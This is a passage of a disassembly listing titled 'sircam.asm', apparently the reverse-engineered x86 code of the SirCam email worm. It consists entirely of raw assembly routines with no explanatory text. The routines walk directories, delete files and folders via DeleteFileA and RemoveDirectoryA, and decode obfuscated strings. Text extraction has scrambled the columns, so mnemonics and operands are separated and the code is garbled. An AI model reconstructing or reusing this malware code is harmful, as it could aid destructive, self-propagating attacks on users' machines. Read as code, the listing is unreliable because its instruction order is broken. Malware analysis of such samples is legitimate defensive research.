Fri Aug 10 12:42:44 2001
= dword ptr
633
8
push
mov
add
push
push
xor
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
call
mov
call
lea
mov
call
xor
push
push
push
mov
mov
call
mov
cmp
jz
lea
mov
call
ebp
ebp, esp
esp, 0FFFFFE84h
ebx
esi
ebx, ebx
[ebp+var_17C], ebx
[ebp+var_178], ebx
[ebp+var_174], ebx
[ebp+var_170], ebx
[ebp+var_16C], ebx
[ebp+var_168], ebx
[ebp+var_164], ebx
esi, ecx
[ebp+var_8], edx
[ebp+var_4], eax
ebx, [ebp+arg_0]
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, [ebp+var_160]
edx, ds:off_4061D4
sub_403AF0
eax, eax
ebp
offset loc_417BCB
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
sub_403724
edx, [ebp+var_4]
byte ptr [edx+eax-1], 5Ch
short loc_4179B8
eax, [ebp+var_4]
edx, offset dword_417BE4
sub_40372C
lea
mov
mov
call
mov
lea
mov
call
test
jnz
; CODE XREF: sub_417928+81\030j
eax, [ebp+var_164]
ecx, offset dword_417BF0
edx, [ebp+var_4]
sub_403770
eax, [ebp+var_164]
ecx, [ebp+var_160]
edx, 3Fh
sub_407244
eax, eax
loc_417A7A
mov
mov
call
jz
mov
mov
call
jz
test
jle
push
lea
mov
mov
call
mov
mov
; CODE XREF: sub_417928+14C\031j
eax, [ebp+var_154]
edx, offset dword_417BFC
sub_403834
short loc_417A67
eax, [ebp+var_154]
edx, offset dword_417C08
sub_403834
short loc_417A67
[ebp+var_158], 10h
short loc_417A67
ebx
eax, [ebp+var_168]
ecx, [ebp+var_154]
edx, [ebp+var_4]
sub_403770
eax, [ebp+var_168]
ecx, esi
loc_4179B8:
loc_4179E9:
sircam.asm
Fri Aug 10 12:42:44 2001
634
mov
call
test
jz
lea
mov
mov
call
mov
call
push
call
edx, [ebp+var_8]
sub_417928
bl, bl
short loc_417A67
eax, [ebp+var_16C]
ecx, [ebp+var_154]
edx, [ebp+var_4]
sub_403770
eax, [ebp+var_16C]
sub_4038E8
eax
j_RemoveDirectoryA
lea
call
test
jz
; CODE XREF: sub_417928+D1\030j
; sub_417928+E3\030j ...
eax, [ebp+var_160]
sub_407294
eax, eax
loc_4179E9
lea
call
mov
call
mov
cmp
jz
lea
mov
call
; CODE XREF: sub_417928+BB\030j
eax, [ebp+var_160]
sub_4072B8
eax, [ebp+var_4]
sub_403724
edx, [ebp+var_4]
byte ptr [edx+eax-1], 5Ch
short loc_417AA4
eax, [ebp+var_4]
edx, offset dword_417BE4
sub_40372C
lea
mov
mov
call
mov
lea
mov
call
test
jnz
; CODE XREF: sub_417928+16D\030j
eax, [ebp+var_170]
ecx, [ebp+var_8]
edx, [ebp+var_4]
sub_403770
eax, [ebp+var_170]
ecx, [ebp+var_160]
edx, 2Fh
sub_407244
eax, eax
loc_417B84
mov
mov
call
jz
mov
mov
call
jz
cmp
jz
test
jz
lea
mov
mov
call
mov
xor
call
lea
mov
mov
call
mov
call
; CODE XREF: sub_417928+256\031j
eax, [ebp+var_154]
edx, offset dword_417BFC
sub_403834
loc_417B71
eax, [ebp+var_154]
edx, offset dword_417C08
sub_403834
short loc_417B71
[ebp+var_154], 0
short loc_417B71
bl, bl
short loc_417B50
eax, [ebp+var_174]
ecx, [ebp+var_154]
edx, [ebp+var_4]
sub_403770
eax, [ebp+var_174]
edx, edx
sub_4071B8
eax, [ebp+var_178]
ecx, [ebp+var_154]
edx, [ebp+var_4]
sub_403770
eax, [ebp+var_178]
sub_4038E8
loc_417A67:
loc_417A7A:
loc_417AA4:
loc_417AD3:
sircam.asm
Fri Aug 10 12:42:44 2001
635
push
eax
call
j_DeleteFileA
jmp
short loc_417B71
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417B50:
lea
mov
mov
call
mov
mov
mov
call
; CODE XREF: sub_417928+1DE\030j
eax, [ebp+var_17C]
ecx, [ebp+var_154]
edx, [ebp+var_4]
sub_403770
edx, [ebp+var_17C]
eax, [esi]
ecx, [eax]
dword ptr [ecx+34h]
lea
call
test
jz
; CODE XREF: sub_417928+1BB\030j
; sub_417928+1D1\030j ...
eax, [ebp+var_160]
sub_407294
eax, eax
loc_417AD3
lea
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_417928+1A5\030j
eax, [ebp+var_160]
sub_4072B8
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_417BD2
loc_417B71:
loc_417B84:
loc_417B9C:
sub_417928
; CODE XREF: CODE:00417BD0\031j
lea
eax, [ebp+var_17C]
mov
edx, 7
call
sub_4034EC
lea
eax, [ebp+var_160]
mov
edx, ds:off_4061D4
call
sub_403BBC
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -190h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417BCB:
; DATA XREF: sub_417928+66\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_417B9C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417BD2:
; DATA XREF: sub_417928+26F\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_417BE4
dd 5Ch, 0FFFFFFFFh, 3
; DATA XREF: sub_417928+86\030o
; sub_417928+172\030o
dword_417BF0
dd 2A2E2Ah, 0FFFFFFFFh, 1 ; DATA XREF: sub_417928+96\030o
dword_417BFC
dd 2Eh, 0FFFFFFFFh, 2
; DATA XREF: sub_417928+C7\030o
; sub_417928+1B1\030o
dword_417C08
dd 2E2Eh
; DATA XREF: sub_417928+D9\030o
; sub_417928+1C7\030o
off_417C0C
dd offset dword_417C10 ; DATA XREF: sub_417F24+71\031r
sircam.asm
dword_417C10
Fri Aug 10 12:42:44 2001
636
; sub_417F24+379\031r ...
; DATA XREF: CODE:00417C0C\030o
dd 312E0211h, 4
dd offset off_401000
dd 48h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_417C20
proc near
var_4
arg_0
= dword ptr -4
= dword ptr 8
; CODE XREF: sub_417C88+5A\031p
; sub_417D9C+6C\031p ...
push
mov
push
push
push
mov
mov
mov
mov
call
xor
push
push
push
mov
sub
jl
inc
xchg
ebp
ebp, esp
ecx
ebx
esi
esi, ecx
ebx, edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_417C7C
dword ptr fs:[eax]
fs:[eax], esp
esi, ebx
short loc_417C66
esi
ebx, esi
push
mov
mov
mov
mov
mov
call
inc
dec
jnz
; CODE XREF: sub_417C20+44\031j
0
ecx, offset dword_41EF14
eax, [ebp+arg_0]
eax, [eax-4]
edx, [eax+esi*4]
eax, [ebp+var_4]
sub_417928
esi
ebx
short loc_417C4A
xor
pop
pop
pop
mov
push
; CODE XREF: sub_417C20+25\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_417C83
loc_417C4A:
loc_417C66:
loc_417C73:
sub_417C20
; CODE XREF: CODE:00417C81\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -18h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417C7C:
; DATA XREF: sub_417C20+18\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_417C73
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417C83:
; DATA XREF: sub_417C20+4E\030o
sircam.asm
Fri Aug 10 12:42:44 2001
pop
pop
pop
pop
retn
637
esi
ebx
ecx
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_417C88
proc near
var_114
var_110
var_10C
var_108
var_8
var_4
arg_0
arg_4
=
=
=
=
=
=
=
=
; CODE XREF: sub_417F24+1F2\031p
; sub_417F24+216\031p ...
dword ptr -114h
dword ptr -110h
dword ptr -10Ch
byte ptr -108h
dword ptr -8
dword ptr -4
dword ptr 8
dword ptr 0Ch
push
mov
add
push
xor
mov
mov
mov
mov
mov
mov
mov
call
mov
call
xor
push
push
push
mov
mov
mov
call
mov
push
mov
mov
mov
call
pop
mov
call
lea
call
lea
mov
call
push
push
lea
push
lea
mov
call
mov
push
lea
mov
ebp
ebp, esp
esp, 0FFFFFEECh
ebx
ebx, ebx
[ebp+var_10C], ebx
[ebp+var_110], ebx
[ebp+var_114], ebx
ebx, ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_417D7E
dword ptr fs:[eax]
fs:[eax], esp
eax, ds:dword_41EF14
edx, [eax]
dword ptr [edx+40h]
eax, [ebp+arg_4]
eax
ecx, [ebp+arg_0]
edx, ebx
eax, [ebp+var_4]
sub_417C20
ecx
eax, [ebp+var_8]
sub_4177BC
edx, [ebp+var_108]
sub_40296C
edx, [ebp+var_108]
eax, offset dword_41EEF4
sub_4036EC
1
1
eax, [ebp+var_10C]
eax
edx, [ebp+var_110]
eax, [ebp+var_8]
sub_41620C
eax, [ebp+var_110]
eax
eax, [ebp+var_114]
ecx, offset dword_417D94
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
mov
mov
pop
call
xor
pop
pop
pop
mov
push
loc_417D60:
sub_417C88
638
edx, ds:dword_41EEFC
sub_403770
eax, [ebp+var_114]
ecx, ds:dword_41EEF4
edx
sub_415EAC
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_417D85
; CODE XREF: CODE:00417D83\031j
lea
eax, [ebp+var_114]
mov
edx, 3
call
sub_4034EC
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -12Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417D7E:
; DATA XREF: sub_417C88+39\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_417D60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417D85:
; DATA XREF: sub_417C88+D3\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 4
dword_417D94
dd 3041465Ch, 0
; DATA XREF: sub_417C88+A9\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_417D9C
proc near
var_11C
var_118
var_114
var_110
var_10
var_C
var_8
var_4
arg_0
arg_4
arg_8
=
=
=
=
=
=
=
=
=
=
=
; CODE XREF: sub_417F24+35C\031p
dword ptr -11Ch
dword ptr -118h
dword ptr -114h
byte ptr -110h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
dword ptr 8
dword ptr 0Ch
dword ptr 10h
push
mov
add
push
push
xor
mov
mov
mov
mov
mov
mov
ebp
ebp, esp
esp, 0FFFFFEE4h
ebx
esi
ebx, ebx
[ebp+var_114], ebx
[ebp+var_118], ebx
[ebp+var_11C], ebx
[ebp+var_10], ebx
[ebp+var_C], ecx
[ebp+var_8], edx
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
mov
mov
call
mov
call
mov
call
xor
push
push
push
mov
mov
mov
call
mov
push
mov
mov
mov
call
pop
mov
push
mov
mov
mov
call
pop
lea
xor
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
mov
call
mov
mov
call
lea
call
lea
mov
call
push
push
lea
push
lea
mov
call
mov
push
lea
mov
mov
call
mov
mov
pop
639
[ebp+var_4], eax
esi, [ebp+arg_0]
ebx, [ebp+arg_4]
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, [ebp+var_C]
sub_4038D8
eax, eax
ebp
offset loc_417EF5
dword ptr fs:[eax]
fs:[eax], esp
eax, ds:dword_41EF14
edx, [eax]
dword ptr [edx+40h]
eax, [ebp+arg_8]
eax
ecx, esi
edx, ebx
eax, [ebp+var_8]
sub_417C20
ecx
eax, [ebp+arg_8]
eax
ecx, esi
edx, ebx
eax, [ebp+var_C]
sub_417C20
ecx
ecx, [ebp+var_10]
edx, edx
eax, offset a9luv_0 ; "9luv"
sub_415FAC
ecx, [ebp+var_10]
eax, offset dword_41EEF4
edx, [ebp+var_4]
sub_403770
edx, ds:dword_41EEF4
eax, ds:dword_41EF14
ecx, [eax]
dword ptr [ecx+64h]
edx, 2
eax, ds:dword_41EEF4
sub_4071B8
eax, ds:dword_41EF14
edx, [eax]
dword ptr [edx+14h]
edx, [ebp+var_110]
sub_40296C
edx, [ebp+var_110]
eax, offset dword_41EEF4
sub_4036EC
1
1
eax, [ebp+var_114]
eax
edx, [ebp+var_118]
eax, [ebp+var_4]
sub_41620C
eax, [ebp+var_118]
eax
eax, [ebp+var_11C]
ecx, offset dword_417F1C
edx, ds:dword_41EEFC
sub_403770
eax, [ebp+var_11C]
ecx, ds:dword_41EEF4
edx
sircam.asm
Fri Aug 10 12:42:44 2001
call
xor
pop
pop
pop
mov
push
loc_417ED7:
sub_417D9C
640
sub_415EAC
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_417EFC
; CODE XREF: CODE:00417EFA\031j
lea
eax, [ebp+var_11C]
mov
edx, 3
call
sub_4034EC
lea
eax, [ebp+var_10]
mov
edx, 4
call
sub_4034EC
retn
endp ; sp = -138h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417EF5:
; DATA XREF: sub_417D9C+4C\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_417ED7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_417EFC:
; DATA XREF: sub_417D9C+136\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 4
a9luv_0
db ’9luv’,0
; DATA XREF: sub_417D9C+88\030o
align 4
dd 0FFFFFFFFh, 4
dword_417F1C
dd 3041465Ch, 0
; DATA XREF: sub_417D9C+10C\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_417F24
proc near
var_68
var_64
var_60
var_5C
var_58
var_54
var_50
var_4C
var_48
var_44
var_40
var_3C
var_38
var_34
var_30
var_2C
var_28
var_24
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
dword ptr -68h
dword ptr -64h
dword ptr -60h
dword ptr -5Ch
dword ptr -58h
dword ptr -54h
dword ptr -50h
dword ptr -4Ch
dword ptr -48h
dword ptr -44h
dword ptr -40h
dword ptr -3Ch
dword ptr -38h
dword ptr -34h
dword ptr -30h
dword ptr -2Ch
dword ptr -28h
dword ptr -24h
dword ptr -20h
dword ptr -1Ch
dword ptr -18h
byte ptr -14h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
; CODE XREF: sub_41A5E4+BB\031p
sircam.asm
var_4
Fri Aug 10 12:42:44 2001
641
= dword ptr -4
push
mov
mov
ebp
ebp, esp
ecx, 0Dh
push
push
dec
jnz
push
mov
mov
call
xor
push
push
push
mov
push
push
lea
push
mov
mov
mov
call
mov
mov
call
mov
mov
mov
call
mov
push
lea
mov
mov
call
add
lea
xor
mov
call
mov
mov
add
call
lea
xor
mov
call
mov
mov
add
call
lea
xor
mov
call
mov
mov
add
call
lea
xor
mov
call
; CODE XREF: sub_417F24+D\031j
0
0
ecx
short loc_417F2C
ebx
[ebp+var_8], eax
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_4182D1
dword ptr fs:[eax]
fs:[eax], esp
1
1
eax, [ebp+var_14]
eax
ecx, offset dword_4182E8
edx, offset dword_4182F4
eax, ds:dword_41EEFC
sub_415EAC
dl, 1
eax, ds:off_40BB68
sub_402BAC
ds:dword_41EF14, eax
dl, 1
eax, ds:off_40BB68
sub_402BAC
ds:dword_41EF18, eax
0Ah
eax, [ebp+var_4]
ecx, 1
edx, ds:off_417C0C
sub_4045A0
esp, 4
ecx, [ebp+var_18]
edx, edx
eax, offset dword_418300
sub_415FAC
edx, [ebp+var_18]
eax, [ebp+var_4]
eax, 4
sub_40351C
ecx, [ebp+var_1C]
edx, edx
eax, offset dword_418310
sub_415FAC
edx, [ebp+var_1C]
eax, [ebp+var_4]
eax, 8
sub_40351C
ecx, [ebp+var_20]
edx, edx
eax, offset dword_418320
sub_415FAC
edx, [ebp+var_20]
eax, [ebp+var_4]
eax, 0Ch
sub_40351C
ecx, [ebp+var_24]
edx, edx
eax, offset dword_418330
sub_415FAC
loc_417F2C:
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
add
call
lea
xor
mov
call
mov
mov
add
call
lea
xor
mov
call
mov
mov
add
call
lea
xor
mov
call
mov
mov
add
call
lea
xor
mov
call
mov
mov
add
call
lea
xor
mov
call
mov
mov
add
call
push
push
lea
push
lea
xor
mov
call
mov
xor
mov
call
lea
xor
mov
call
mov
lea
mov
call
cmp
jnz
push
push
lea
mov
642
edx, [ebp+var_24]
eax, [ebp+var_4]
eax, 10h
sub_40351C
ecx, [ebp+var_28]
edx, edx
eax, offset a67nzo ; "67nzo"
sub_415FAC
edx, [ebp+var_28]
eax, [ebp+var_4]
eax, 14h
sub_40351C
ecx, [ebp+var_2C]
edx, edx
eax, offset dword_418350
sub_415FAC
edx, [ebp+var_2C]
eax, [ebp+var_4]
eax, 18h
sub_40351C
ecx, [ebp+var_30]
edx, edx
eax, offset dword_418360
sub_415FAC
edx, [ebp+var_30]
eax, [ebp+var_4]
eax, 1Ch
sub_40351C
ecx, [ebp+var_34]
edx, edx
eax, offset dword_418370
sub_415FAC
edx, [ebp+var_34]
eax, [ebp+var_4]
eax, 20h
sub_40351C
ecx, [ebp+var_38]
edx, edx
eax, offset dword_418380
sub_415FAC
edx, [ebp+var_38]
eax, [ebp+var_4]
eax, 24h
sub_40351C
0
0
eax, [ebp+var_10]
eax
ecx, [ebp+var_3C]
edx, edx
eax, offset aOjmsq ; "Ojmsq"
sub_415FAC
edx, [ebp+var_3C]
ecx, ecx
eax, ds:dword_41EEEC
sub_415EAC
ecx, [ebp+var_40]
edx, edx
eax, offset dword_4183A0
sub_415FAC
ecx, [ebp+var_40]
eax, [ebp+var_C]
edx, ds:dword_41EEE8
sub_403770
[ebp+var_8], 0
loc_41818A
ebp
1
eax, [ebp+var_44]
ecx, offset dword_4183AC
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
mov
mov
mov
call
pop
push
push
lea
mov
mov
call
mov
mov
mov
call
pop
push
push
lea
mov
mov
call
mov
mov
mov
call
pop
push
push
lea
mov
mov
call
mov
mov
mov
call
pop
edx, [ebp+var_C]
sub_403770
edx, [ebp+var_44]
ecx, 1
eax, [ebp+var_10]
sub_417C88
ecx
ebp
3
eax, [ebp+var_48]
ecx, offset dword_4183B8
edx, [ebp+var_C]
sub_403770
edx, [ebp+var_48]
ecx, 2
eax, [ebp+var_10]
sub_417C88
ecx
ebp
4
eax, [ebp+var_4C]
ecx, offset dword_4183C4
edx, [ebp+var_C]
sub_403770
edx, [ebp+var_4C]
ecx, 4
eax, [ebp+var_10]
sub_417C88
ecx
ebp
4
eax, [ebp+var_50]
ecx, offset dword_4183D0
edx, [ebp+var_C]
sub_403770
edx, [ebp+var_50]
ecx, 4
eax, ds:dword_41EEE0
sub_417C88
ecx
cmp
jz
mov
mov
call
jnz
; CODE XREF: sub_417F24+1CE\030j
[ebp+var_8], 0
short loc_4181A3
eax, [ebp+var_8]
edx, offset dword_4183DC
sub_403834
loc_418247
loc_41818A:
loc_4181A3:
643
; CODE XREF: sub_417F24+26A\030j
push
0
push
0
lea
eax, [ebp+var_58]
push
eax
lea
ecx, [ebp+var_5C]
xor
edx, edx
mov
eax, offset aDaxdipbxnSugav ; "\204\235\225¤¨\217¡\225\215{\230
\223£\235¢\237\227¢\213\207rp\213\207rpc\214\210\217\221Pw\227\233\225Q|\220"...
call
sub_415FAC
mov
eax, [ebp+var_5C]
xor
ecx, ecx
xor
edx, edx
call
sub_415EAC
mov
eax, [ebp+var_58]
lea
edx, [ebp+var_54]
call
sub_4073B8
mov
edx, [ebp+var_54]
mov
eax, offset dword_41EEF4
call
sub_40351C
cmp
ds:dword_41EEF4, 0
sircam.asm
Fri Aug 10 12:42:44 2001
644
jnz
short loc_4181F9
mov
eax, offset dword_41EEF4
mov
edx, ds:dword_41EEE8
call
sub_40351C
jmp
short loc_418214
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4181F9:
mov
call
mov
mov
call
mov
; CODE XREF: sub_417F24+2C1\030j
eax, ds:dword_41EEF4
sub_403724
ebx, eax
eax, offset dword_41EEF4
sub_4038F4
byte ptr [eax+ebx-1], 20h
push
push
lea
mov
call
mov
push
lea
mov
mov
call
mov
mov
pop
call
pop
; CODE XREF: sub_417F24+2D3\030j
ebp
9
edx, [ebp+var_60]
eax, ds:dword_41EEF4
sub_406EEC
eax, [ebp+var_60]
eax
eax, [ebp+var_64]
ecx, offset dword_41841C
edx, [ebp+var_C]
sub_403770
edx, [ebp+var_64]
ecx, 9
eax
sub_417C88
ecx
cmp
jz
mov
mov
call
jnz
; CODE XREF: sub_417F24+279\030j
[ebp+var_8], 0
short loc_41825C
eax, [ebp+var_8]
edx, offset dword_418428
sub_403834
short loc_418286
push
push
push
lea
mov
mov
call
mov
mov
mov
call
pop
; CODE XREF: sub_417F24+327\030j
ebp
5
7
eax, [ebp+var_68]
ecx, offset dword_418434
edx, [ebp+var_C]
sub_403770
eax, [ebp+var_68]
ecx, ds:dword_41EEE4
edx, ds:dword_41EEE0
sub_417D9C
ecx
mov
call
mov
call
lea
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_417F24+336\030j
eax, ds:dword_41EF14
sub_402BDC
eax, ds:dword_41EF18
sub_402BDC
eax, [ebp+var_4]
edx, ds:off_417C0C
sub_4045AC
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4182D8
loc_418214:
loc_418247:
loc_41825C:
loc_418286:
sircam.asm
loc_4182B5:
sub_417F24
Fri Aug 10 12:42:44 2001
645
; CODE XREF: CODE:004182D6\031j
lea
eax, [ebp+var_68]
mov
edx, 19h
call
sub_4034EC
lea
eax, [ebp+var_4]
mov
edx, ds:off_417C0C
call
sub_4045AC
retn
endp ; sp = -54h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4182D1:
; DATA XREF: sub_417F24+1E\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4182B5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4182D8:
; DATA XREF: sub_417F24+38C\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_4182E8
dd 35h, 0FFFFFFFFh, 3
; DATA XREF: sub_417F24+31\030o
dword_4182F4
dd 334446h, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+36\030o
dword_418300
dd 3579717Fh, 3Ah, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+84\030o
dword_418310
dd 357E6E73h, 3Ah, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+A1\030o
dword_418320
dd 357E7874h, 3Ah, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+BE\030o
dword_418330
dd 7F723736h, 79h, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+DB\030o
a67nzo
db ’67nzo’,0
; DATA XREF: sub_417F24+F8\030o
align 4
